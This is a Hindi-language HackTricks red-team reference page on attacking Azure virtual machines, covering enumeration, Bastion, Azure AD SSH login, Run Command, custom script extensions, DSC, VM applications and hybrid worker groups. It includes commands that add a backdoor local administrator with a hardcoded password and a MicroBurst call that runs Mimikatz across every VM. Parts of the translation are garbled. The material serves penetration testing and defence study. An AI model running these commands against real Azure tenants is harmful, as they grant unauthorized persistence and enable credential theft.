Az - Virtual Machines & Network

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

दस्तावेज़ से: एज़्यूर वर्चुअल मशीन एज़्यूर द्वारा पेश किए जाने वाले कई प्रकार के ऑन-डिमांड, स्केलेबल कंप्यूटिंग संसाधनों में से एक हैं। सामान्यत: आप एक वर्चुअल मशीन का चयन करते हैं जब आपको अन्य विकल्पों से अधिक नियंत्रण चाहिए होता है। इस लेख में आपको यह जानकारी दी जाती है कि आपको एक वर्चुअल मशीन बनाने से पहले क्या विचार करना चाहिए, आप इसे कैसे बनाते हैं, और आप इसे कैसे प्रबंधित करते हैं।

एज़्यूर नेटवर्क जानकारी

एज़्यूर नेटवर्क में विभिन्न एंटिटियाँ और इसे कॉन्फ़िगर करने के तरीके होते हैं। आप विभिन्न एज़्यूर नेटवर्क एंटिटियों के संक्षिप्त विवरण, उदाहरण और गणना कमांड्स यहाँ पा सकते हैं:

pageAz - Azure Network

एज़्यूर बास्टियन

एज़्यूर बास्टियन एक सुरक्षित, पूरी तरह से प्रबंधित RDP (रिमोट डेस्कटॉप प्रोटोकॉल) और SSH (सुरक्षित शैली) एक्सेस समाधान प्रदान करता है जो एज़्यूर पोर्टल के माध्यम से SSL के माध्यम से होता है। यह एक एज़्यूर वर्चुअल नेटवर्क के भीतर एकीकृत है, जिससे RDP और SSH कनेक्टिविटी को वीएम का उपयोग करके निजी आईपी का उपयोग करके किया जा सकता है, जो वीएम एक्सेस के लिए सार्वजनिक आईपी की आवश्यकता को दूर करता है। यह एक सुरक्षित, अधिक सुविधाजनक विकल्प है जो पारंपरिक तरीकों के विपरीत है जो वीएम एक्सेस के लिए सार्वजनिक आईपी का निर्धारण और NSG नियम कॉन्फ़िगरेशन की आवश्यकता को दूर करता है। डेवलपर्स और आईटी कर्मचारी अपने वेब ब्राउज़र का उपयोग करके एज़्यूर पोर्टल से वीएम्स तक सुरक्षित रूप से पहुंच सकते हैं, जो विकास और परीक्षण परिवेश के लिए प्रक्रिया को सुगम बनाता है।

अपने सब्सक्रिप्शन में सभी एज़्यूर बास्टियन होस्ट को सूचीत करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM जांच

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

वीएम में कमांड चलाएं

वीएम में AAD लॉगिन

यह संभव है कि AzureAD के माध्यम से प्रमाणित उपयोगकर्ताओं को एक्सेस देने की अनुमति हो। उदाहरण के लिए एक लिनक्स वीएम तक पहुंचने की कोशिश कर रहे हैं: ssh username@azure-corp.com@1.1.1.1 (लॉगिन करने की कोशिश करते समय उपयोग किए गए एज़रकॉर्प के ईमेल का उपयोग करना महत्वपूर्ण है) तो आपको एक त्रुटि मिल सकती है:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

केवल उन निर्देशों का पालन करें जो https://microsoft.com/devicelogin पर जाकर कोड को दर्ज करें, ईमेल और पासवर्ड का उपयोग करें और आप SSH के माध्यम से कनेक्ट कर सकेंगे (यदि उस उपयोगकर्ता के पास इसे करने के लिए पर्याप्त अनुमति है: Virtual Machine Administrator Login या Virtual Machine User Login भूमिका).

Run Command

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

अपनी कस्टम स्क्रिप्ट एक्सटेंशन चलाएं

आज़्यूर वर्चुअल मशीन (VM) एक्सटेंशन छोटे एप्लिकेशन होते हैं जो आज़्यूर VMs पर पोस्ट-डिप्लॉयमेंट कॉन्फ़िगरेशन और ऑटोमेशन कार्य प्रदान करते हैं। उदाहरण के लिए, अगर किसी वर्चुअल मशीन को सॉफ़्टवेयर स्थापना, एंटीवायरस सुरक्षा, या उसके अंदर स्क्रिप्ट चलाने की क्षमता की आवश्यकता होती है, तो आप एक VM एक्सटेंशन का उपयोग कर सकते हैं।

इसलिए, अगर आपके पास इसे लिखने का अधिकार है, तो आप विचारात्मक कोड को निषेध कर सकते हैं:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

वांछितकॉन्फ़िगरेशनस्थिति (DSC)

वांछितकॉन्फ़िगरेशनस्थिति (DSC) एक PowerShell टूल है जो Ansible के समान है, जिसका उपयोग कोड के माध्यम से होस्ट को सेटअप करने के लिए किया जाता है। DSC Azure के साथ एकीकृत होता है, जो विशिष्ट कॉन्फ़िगरेशन फ़ाइलों को अपलोड करने की अनुमति देता है। इन फ़ाइलों को कड़ा वाक्यरचना का पालन करना चाहिए। विशेष रूप से, Azure में DSC एक्सटेंशन उन फ़ाइलों से कमांड्स को निष्पादित कर सकता है जो कुछ फ़ॉर्मेटिंग मानदंडों को पूरा करती हैं, भले ही वाक्यरचना DSC मानकों के लिए सही न हो।

इन कमांड्स को निष्पादित करने की सुविधा Publish-AzVMDscConfiguration फ़ंक्शन द्वारा Az PowerShell में प्रदान की जाती है। आवश्यकताएँ एक .PS1 फ़ाइल शामिल हैं जिसमें एक परिभाषित फ़ंक्शन हो और फ़ाइल को एक .zip फ़ाइल में ज़िप किया जाना चाहिए। हालांकि, वाक्यरचना DSC के लिए सही न हो, कोड फिर भी निष्पादित होगा। हालांकि, एक्सटेंशन निष्पादन स्थिति को "विफलता" के रूप में चिह्नित करेगा, और कमांड से कोई आउटपुट दिखाई नहीं देगा क्योंकि स्थिति विफलता संदेश द्वारा अधिलिखित हो जाएगी।

VM एप्लिकेशन परिभाषाएँ

VM एप्लिकेशन परिभाषाएँ एक Azure VM पर संस्करणित एप्लिकेशन का दोहरावपूर्ण डिप्लॉयमेंट संभावित बनाती हैं। यह संसाधन VMs पर एप्लिकेशनों का डिप्लॉयमेंट और अपडेट समर्थन करता है। इसे सेटअप करने के लिए कई कदम आवश्यक हैं, जिसमें New-AzGalleryApplication और New-AzGalleryApplicationVersion जैसे कमांड्स शामिल हैं Az PowerShell में।

इस विधि के माध्यम से एप्लिकेशन या कमांड को निष्पादित करने में "VMAppExtension" शामिल है, जो एक एप्लिकेशन को VM पर लागू किया जाता है तो स्वचालित रूप से स्थापित होता है। एक्सटेंशन निर्दिष्ट URI से फ़ाइल को पुनः प्राप्त करता है और इसे एप्लिकेशन के रूप में नामित करता है, बिना किसी एक्सटेंशन के। फ़ाइल को सही ढंग से निष्पादित करने के लिए, REST API कॉल में "ManageActions" फ़ील्ड को उचित एक्सटेंशन के साथ फ़ाइल का नाम बदलने के लिए कॉन्फ़िगर किया जाना चाहिए। इस विधि की सेटअप, एक बार पूर्ण होने पर, प्रदान की गई चित्र में दिखाई देगी।

हालांकि, इस निष्पादन विधि में थोड़ी धीमी गति है, एक एप्लिकेशन या कमांड को निष्पादित करने में लगभग 3-4 मिनट का समय लेती है। इस प्रक्रिया से संबंधित फ़ाइलें विशेष निर्देशिकाओं में संग्रहीत होती हैं (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ एप्लिकेशन कॉपी के लिए और C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ निष्पादन स्थिति के लिए)।

दोनों तकनीक विशेष रूप से अद्वितीय तरीकों से कमांड्स को निष्पादित करने और एप्लिकेशनों का डिप्लॉय करने के लिए अद्वितीय तरीके प्रदान करते हैं, प्रत्येक के अपने आवश्यकताएँ, कदम और विचारों के साथ।

एज़्यूर में हाइब्रिड वर्कर ग्रुप्स (HWGs)

हाइब्रिड वर्कर ग्रुप्स (HWGs) एक विशेषता है जो एज़्यूर में है जो रनबुक्स को एक्ज़िक्यूट करने की अनुमति देती है, जो एक ऑटोमेशन अकाउंट में कॉन्फ़िगर किए गए होते हैं, एक एज़्यूर वर्चुअल मशीन (VM) पर जो निर्धारित HWG का हिस्सा है। यह निष्पादन एक एक्सटेंशन द्वारा सुविधित है जो VM पर स्थापित होता है, जो रनबुक कोड को VM पर डिप्लॉय करता है। इस प्रक्रिया का एक महत्वपूर्ण पहलू यह है कि वास्तविक क्रेडेंशियल्स निष्पादन में एक कारक नहीं है क्योंकि कोड उच्च विशेषाधिकारों के साथ चलता है, विशेष रूप से SYSTEM या root के रूप में, जैसा कि प्रदान की गई चित्र में दिखाया गया है।

विंडोज 10 VMs का उपयोग करने वालों के लिए एक महत्वपूर्ण विवरण है कि रनबुक के लिए PowerShell संस्करण को निर्दिष्ट करने की आवश्यकता है। यह PowerShell संस्करण 7.1 की बजाय 5.1 के रूप में चलाया जाना चाहिए। यह आवश्यकता इस बात से उत्पन्न होती है कि इन VMs पर PowerShell 7.1 डिफ़ॉल्ट रूप से स्थापित नहीं है, जिससे अगर संस्करण 7.1 निर्दिष्ट किया गया है तो स्क्रिप्ट निष्पादन में विफलता हो सकती है।

यह एज़्यूर की एक विशेषता है जो हाइब्रिड वातावरणों पर कार्यों को स्वचालित और प्रबंधित करने के लिए एक मजबूत विधि प्रदान करती है, जो एज़्यूर VMs पर कार्यों को केंद्रीकृत प्रबंधन और निष्पादन की अनुमति देती है।

संदर्भ

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated